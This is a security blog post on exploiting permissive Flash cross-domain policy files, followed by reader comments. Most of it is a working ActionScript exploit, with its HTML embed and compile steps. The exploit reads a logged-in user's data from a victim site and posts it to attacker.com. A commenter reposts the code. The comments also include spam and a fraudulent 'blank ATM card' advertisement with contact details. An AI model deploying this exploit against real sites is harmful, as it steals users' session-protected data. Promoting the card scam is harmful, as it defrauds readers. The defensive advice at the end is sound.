Adobe Flash is among the most popular browser plugins and also ships by default with a couple of popular web browsers. Its widespread prevalence has made it a frequent target of attacks and also been as a vector to launch attacks. One such attack vector is to use Flash for cross-domain data access.
In this blog post we will review at a known attack vector and create a Proof of Concept exploit to bypass browser’s Same-origin policy for websites that host an overly permissive cross-domain policy file.
Cross-domain Policy Files
Flash Player’s default security model enforces the same origin policy similar to contemporary browsers and does not allow cross domain data read operations. However, it can make exception to this rule and disregard its default security model if a website in question hosts a cross-domain policy file (named crossdomain.xml) to allow data access from other domains. Insecurely written cross-domain policy files can expose critical application data over the internet. The example policy file below shows once such example where the website opens itself to read access from every running instance of Flash Player.
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>
|
To understand the impact of such cross-domain policy file, let us consider a scenario where a bank website has such a policy file.
- A user logs on to the banking website.
- The user then visits another website in different browser tab and that website hosts a malicious Flash file to retrieve user information from the bank website.
- When the Flash Player notices an attempt to perform cross-domain read operation, it retrieves crossdomain.xml file from the bank website to discover the permitted operations.
- It then sends out a read request to a known bank URL that returns sensitive information like user bank account numbers, account balance etc…
- The browser adds user’s session cookies to the outgoing requests and since the user is logged in, the malicious Flash file is served with critical user information.
- The Flash file then passes it on to the malicious server.
The ActionScript exploit code
I wanted to demonstrate the impact of this vulnerability but could not find a Proof of Concept ActionScript code. After tinkering around with ActionScript and Apache Flex SDK, I had a working PoC which is provided below along with the HTML file that I used to embed the Flash file.
// Author: Gursev Singh Kalra (gursev.kalra@foundstone.com)
// XDomainXploit.as
package {
import flash.display.Sprite;
import flash.events.*;
import flash.net.URLRequestMethod;
import flash.net.URLRequest;
import flash.net.URLLoader;
public class XDomainXploit extends Sprite {
public function XDomainXploit() {
// Target URL from where the data is to be retrieved
var readFrom:String = "http://victim.com/supersecret";
var readRequest:URLRequest = new URLRequest(readFrom);
var getLoader:URLLoader = new URLLoader();
getLoader.addEventListener(Event.COMPLETE, eventHandler);
try {
getLoader.load(readRequest);
} catch (error:Error) {
trace("Error loading URL: " + error);
}
}
private function eventHandler(event:Event):void {
// URL to which retrieved data is to be sent
var sendTo:String = "http://attacker.com/store"
var sendRequest:URLRequest = new URLRequest(sendTo);
sendRequest.method = URLRequestMethod.POST;
sendRequest.data = event.target.data;
var sendLoader:URLLoader = new URLLoader();
try {
sendLoader.load(sendRequest);
} catch (error:Error) {
trace("Error loading URL: " + error);
}
}
}
}
|
The following HTML file can be used to embed the flash file for delivery.
<html>
<object type="application/x-shockwave-flash" data="XDomainXploit.swf" width="1" height="1">
<param name="movie" value="XDomainXploit.swf" />
</object>
</html>
|
Compiling and deploying the ActionScript code
I used Apache Flex SDK to compile the ActionScript code and you can follow the below provided steps to get your exploit working.
- Copy the ActionScript code to your local directory and name it XDomainXploit.as.
- Change the values of readFrom and sendTo parameters to appropriate values as per your needs.
- Compile the code with the mxmlc compiler to a Flash file by running the following command. The mxmlc compiler is shipped with Apache Flex.
mxmlc XDomainXploit.as
- Deploy the generated Swf and the provided HTML files to enjoy the Flash goodness.
Figure 1: Image shows ActionScript compile operation
Below you will see the exploit in action.
Figure 2: Image shows the sequence of requests during PoC execution
The code example above uses hard coded values for readFrom and sendTo parameters in ActionScript code but you can have Flash retrieve these fields from your HTML page using ActionScript’s ExternalInterface class or make the ActionScript to retrieve targets from your attack server at runtime.
Conclusion
Carefully analyze the proposed cross-domain application architecture from security perspective before deploying new or updated cross-domain policy files and make sure that exposure is minimal by not having overly permissive entries in your files. Consider reviewing the following two documents from Adobe that have extensive information on Adobe Flash Player security.
- Cross-domain policy file usage recommendations for Flash Player http://www.adobe.com/devnet/flashplayer/articles/cross_domain_policy.html
- Adobe Flash Player 9 Security [PDF] http://wwwimages.adobe.com/www.adobe.com/content/dam/Adobe/en/devnet/flashplayer/pdfs/flash_player_9_security.pdf
16 comments:
Very nice article.
The attack, also the ActionScript code, is integrated in bWAPP (a buggy web application).
More info: www.itsecgames.com
Thanks Gursev!
Regards
Cool! Glad it was helpful.
Gursev
I am kind of lost after deploying the file, I launch the html file, which references the .swf file which has my target url. Does it matter which URL i put in the "SendTo:String= quotes?
I assume once i have the target url and the malicous html both loaded, i will see the data within what looks like fiddler, in your example? however i am seeing no data. Any advice would be appreciated! Thanks!
I don't think the URL should be an an issue, as long as it can be parsed.
@Anonymous if you can share your test configuration, maybe i can try to help
// Author: Gursev Singh Kalra (gursev.kalra@foundstone.com)
// XDomainXploit.as
// Thanks - http://help.adobe.com/en_US/as3/dev/WS5b3ccc516d4fbf351e63e3d118a9b90204-7cfd.html#WS5b3ccc516d4fbf351e63e3d118a9b90204-7cf5
package {
import flash.display.Sprite;
import flash.events.*;
import flash.net.URLRequestMethod;
import flash.net.URLRequest;
import flash.net.URLLoader;
public class XDomainXploit extends Sprite {
public function XDomainXploit() {
// Target URL from where the data is to be retrieved
var readFrom:String = "TEST URL";
var readRequest:URLRequest = new URLRequest(readFrom);
var getLoader:URLLoader = new URLLoader();
getLoader.addEventListener(Event.COMPLETE, eventHandler);
try {
getLoader.load(readRequest);
} catch (error:Error) {
trace("Error loading URL: " + error);
}
}
private function eventHandler(event:Event):void {
// URL to which retrieved data is to be sent
var sendTo:String = "RECIEVING URL"
var sendRequest:URLRequest = new URLRequest(sendTo);
sendRequest.method = URLRequestMethod.POST;
sendRequest.data = event.target.data;
var sendLoader:URLLoader = new URLLoader();
try {
sendLoader.load(sendRequest);
} catch (error:Error) {
trace("Error loading URL: " + error);
}
}
}
}
this is the XDomainXploit.as file I use, I then compile with the mxmlc in cmd prompt. I get a .swf file. I copied and pasted the html file into notepad, saved as a .html. load both the victim url and the html file in Internet Explorer, and while in fiddler, or any proxy I see no data similar to your screen shot
I think I may have answered my own question. when I load victim url and the malicious html file, I do get a
304 HTTPS www.targetURL.org /crossdomain.xml
GET /crossdomain.xml
in fiddler, with cookies, specifically a sfsession= (....) cookie. which is in line with your description on how this flash file works. however, this url is an unauthenticated page. so I do believe this vuln is not necessarily high risk. your thoughts?? Thank you for your time
You will agree that the risk is aggravated if the accessed page is available only to authenticated users. However, pre-auth pages can be accessed directly by anyone, so no information disclosure risk there.
Thanks Gursev. It worked
Great. Good to know that.
Great write-up. It's all too easy to miss stuff like this when developing a site, but the recent Ashley Madison hack shows how easily this can be leveraged to exfiltrate data!
very specific nice content. This article is very much helpful and i hope this will be an useful information for the needed one.Keep on updating these kinds of informative things
I likable the posts and offbeat format you've got here! I’d wish many thanks for sharing your expertise and also the time it took to post!!
Best Website For TV Series & Movies Free Download & Games
The Flash Season 1
The Flash Season 2 Full
The Flash Season 5 Full
Daringbaaz Lootere 2019 Full Movies
Brooklyn Nine-Nine
Thanks for sharing, nice post! Post really provice useful information!
An Thái Sơn chia sẻ trẻ sơ sinh nằm nôi điện có tốt không hay võng điện có tốt không và giải đáp cục điện đưa võng giá bao nhiêu cũng như mua máy đưa võng ở tphcm địa chỉ ở đâu uy tín.
I am a Single full time dad on disability getting no help from their moms. It a struggle every day. My boys are 15 and 9 been doing this by myself for 8 years now it’s completely drained all my savings everything . These guys are the present day ROBIN HOOD. Im back on my feet again and my kids can have a better life all thanks to the blank card i acquired from skylink technology. Now i can withdraw up too 3000 per day Contact them as well on Mail: skylinktechnes@yahoo.com or whatsspp/telegram: +1(213)785-1553
Post a Comment